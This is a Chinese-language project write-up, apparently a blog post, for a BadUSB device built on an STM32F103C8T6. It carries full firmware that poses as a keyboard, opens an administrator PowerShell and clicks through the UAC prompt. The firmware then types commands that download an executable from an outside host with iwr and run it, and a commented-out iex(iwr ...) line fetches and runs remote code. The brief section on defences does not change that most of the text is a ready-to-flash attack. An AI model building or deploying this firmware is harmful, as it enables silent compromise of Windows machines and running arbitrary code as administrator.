BadUSB Device Design based on STM32F103C8T6.
Author: Asterism Date: 2026.2.14
Lastest edited on 2026.2.15
Introduction
本项目通过对STM32F103C8T6进行编程,让其模拟USB键盘设备,自动输入攻击载荷。 攻击过程:
- 通过快捷键启动运行
- 以管理员权限启动powershell
- UAC确认
- 用powershell命令下载后台程序
- 运行后台程序
Background Imformation
BadUSB攻击:因为Windows系统队USB设备提供信息的几乎无条件信任,所以可以让USB外设模拟特定设备(例如鼠标键盘)的自定义行为,实现自动输入攻击载荷。因为这类攻击是基于对外设的信任,在系统眼中就是普通的USB外设在像电脑输入信息,所以各种防护软件几乎无法有效防御。
防御:
- 禁用或限制USB外设:通过软件或硬件对USB设备进行白名单管制,仅允许受信任的设备接入。广泛采用的方案,容易实现且便利性牺牲较小,是目前最理想的方案。
- 签名:验证硬件签名,驱动签名。能有一定防护效果,不过由于Windows生态的开放,这种措施没有得到普及
- 监控USB设备行为:监控其信息输入速度,频率,间隔等指标,分辨是正常设备还是恶意设备。但是这种方法很容易被绕过,防御效果不佳
Windows权限继承:用管理员权限的powershell启动某个程序时,默认不需要UAC确认,即可继承管理员权限
虽然目前已经有了很好的防护方案,但是现在私人的USB外设安全意识几乎为零,所以这仍然是一个能够轻易实现的攻击手法
准备工作
依赖项目
- STM32_USB_Keyboard(Blog:STM32F103C8T6 uses a USB interface as an HID Keyboard.)
硬件
- STM32F103C8T6开发板
- MicroUSB数据线
- ST-LINK下载器
软件
- STM32CubeIDE
- Visual Studio 2022
- Powershell
payload设计
- Win+R 启动运行
- CAPSLOCK 用大写模式
- powershell
- Ctrl+Shift+Enter 以管理员身份启动的快捷键
- ← 选择UAC的确定
- Enter
- //iex((iwr photoncache.pages.dev/876586/ -UseBasicParsing).Content)
- [System.IO.File]::WriteAllBytes(‘C:\BadUSB_Strobe.exe’,(iwr photoncache.pages.dev/876586/BadUSB_Strobe.exe -UseBasicParsing).Content) 将photoncache.pages.dev/876586/BadUSB_Strobe.exe的线上内容存入C:\BadUSB_Strobe.exe
- C:\BadUSB_Strobe.exe 运行
- Enter
- CAPSLOCK
注意
- 因为Windows10之后,系统微软输入法每次打开新窗口默认设置为中文,所以为了避免输入被定向到输入法中,所以直接用大写模式也是有效命令,不过文件名和网址等名称就要注意修改
- 因为有些步骤需要等待系统响应,并且不同电脑的响应速度不一样,所以需要等待充足的时间。
- powershell命令行有输入阻塞,所以命令的输入之间不需要等待
- 因为有时候通过运行启动powershell时窗口焦点不会落在新窗口上,而是上一个窗口上,所以需要启动两次powershell
代码
/Core/Src/main.c
USB_Keyboard_Send_String()
为了方便代码的编写,在USB_Keyboard_Send_Key后定义字符串发送函数USB_Keyboard_Send_String
此函数只适配了部分符号
void USB_Keyboard_Send_String(const char str[])
{
/*
已经适配的字符:
0~9
a~z
A~Z
()./- :[]',\_
*/
unsigned short int i=0;
while(str[i]!='\0')
{
HAL_Delay(10);
if (str[i]>='a' && str[i]<='z')
{
USB_Keyboard_Send_Key(0,KEY_A+(str[i]-'a'));
}
else if (str[i]>='A' && str[i]<='Z')
{
USB_Keyboard_Send_Key(KEY_MOD_LSHIFT,KEY_A+(str[i]-'A'));
}
else if (str[i]>='0' && str[i]<='9')
{
if (str[i]=='0')
{
USB_Keyboard_Send_Key(0,KEY_0);
}
else
{
USB_Keyboard_Send_Key(0,KEY_1+(str[i]-'1'));
}
}
else if (str[i]=='(') USB_Keyboard_Send_Key(KEY_MOD_RSHIFT,KEY_9);
else if (str[i]==')') USB_Keyboard_Send_Key(KEY_MOD_RSHIFT,KEY_0);
else if (str[i]=='.') USB_Keyboard_Send_Key(0,KEY_DOT);
else if (str[i]=='/') USB_Keyboard_Send_Key(0,KEY_SLASH);
else if (str[i]=='-') USB_Keyboard_Send_Key(0,KEY_MINUS);
else if (str[i]==' ') USB_Keyboard_Send_Key(0,KEY_SPACE);
else if (str[i]==':') USB_Keyboard_Send_Key(KEY_MOD_RSHIFT,KEY_SEMICOLON);
else if (str[i]=='[') USB_Keyboard_Send_Key(0,KEY_LEFTBRACE);
else if (str[i]==']') USB_Keyboard_Send_Key(0,KEY_RIGHTBRACE);
else if (str[i]=='\'') USB_Keyboard_Send_Key(0,KEY_APOSTROPHE);
else if (str[i]==',') USB_Keyboard_Send_Key(0,KEY_COMMA);
else if (str[i]=='\\') USB_Keyboard_Send_Key(0,KEY_BACKSLASH);
else if (str[i]=='_') USB_Keyboard_Send_Key(KEY_MOD_RSHIFT,KEY_MINUS);
i++;
}
}
main()
while (1)
{
/*
Win+R
CAPSLOCK
powershell
Ctrl+Shift+Enter
←
Enter
//iex((iwr photoncache.pages.dev/876586/ -UseBasicParsing).Content)
[System.IO.File]::WriteAllBytes('C:\BadUSB_Strobe.exe',(iwr photoncache.pages.dev/876586/BadUSB_Strobe.exe -UseBasicParsing).Content)
C:\BadUSB_Strobe.exe
Enter
CAPSLOCK
*/
HAL_Delay(2000);
USB_Keyboard_Send_Key(0, KEY_CAPSLOCK);
USB_Keyboard_Send_Key(KEY_MOD_LGUI, KEY_R);
HAL_Delay(800);
USB_Keyboard_Send_String("powershell");
USB_Keyboard_Send_Key(KEY_MOD_LCTRL | KEY_MOD_LSHIFT, KEY_ENTER);
HAL_Delay(1200);
USB_Keyboard_Send_Key(0, KEY_LEFT);
USB_Keyboard_Send_Key(0, KEY_ENTER);
HAL_Delay(3000);
USB_Keyboard_Send_Key(KEY_MOD_LGUI, KEY_R);
HAL_Delay(800);
USB_Keyboard_Send_String("powershell");
USB_Keyboard_Send_Key(KEY_MOD_LCTRL | KEY_MOD_LSHIFT, KEY_ENTER);
HAL_Delay(1200);
USB_Keyboard_Send_Key(0, KEY_LEFT);
USB_Keyboard_Send_Key(0, KEY_ENTER);
HAL_Delay(2000);
//iex((iwr photoncache.pages.dev/876586/ -UseBasicParsing).Content)
//USB_Keyboard_Send_String("iex((iwr photoncache.pages.dev/876586/ -UseBasicParsing).Content)");
USB_Keyboard_Send_String("[System.IO.File]::WriteAllBytes('C:\\bADusb_sTROBE.EXE',(iwr PHOTONCACHE.PAGES.DEV/876586/bADusb_sTROBE.EXE -UseBasicParsing).Content)");//自定义payload
USB_Keyboard_Send_Key(0, KEY_ENTER);
USB_Keyboard_Send_String("C:\\bADusb_sTROBE.EXE");
USB_Keyboard_Send_Key(0, KEY_ENTER);
USB_Keyboard_Send_Key(0, KEY_CAPSLOCK);
HAL_Delay(5000);
}
用MicroUSB连接到电脑后,设备就会自动向电脑输入攻击命令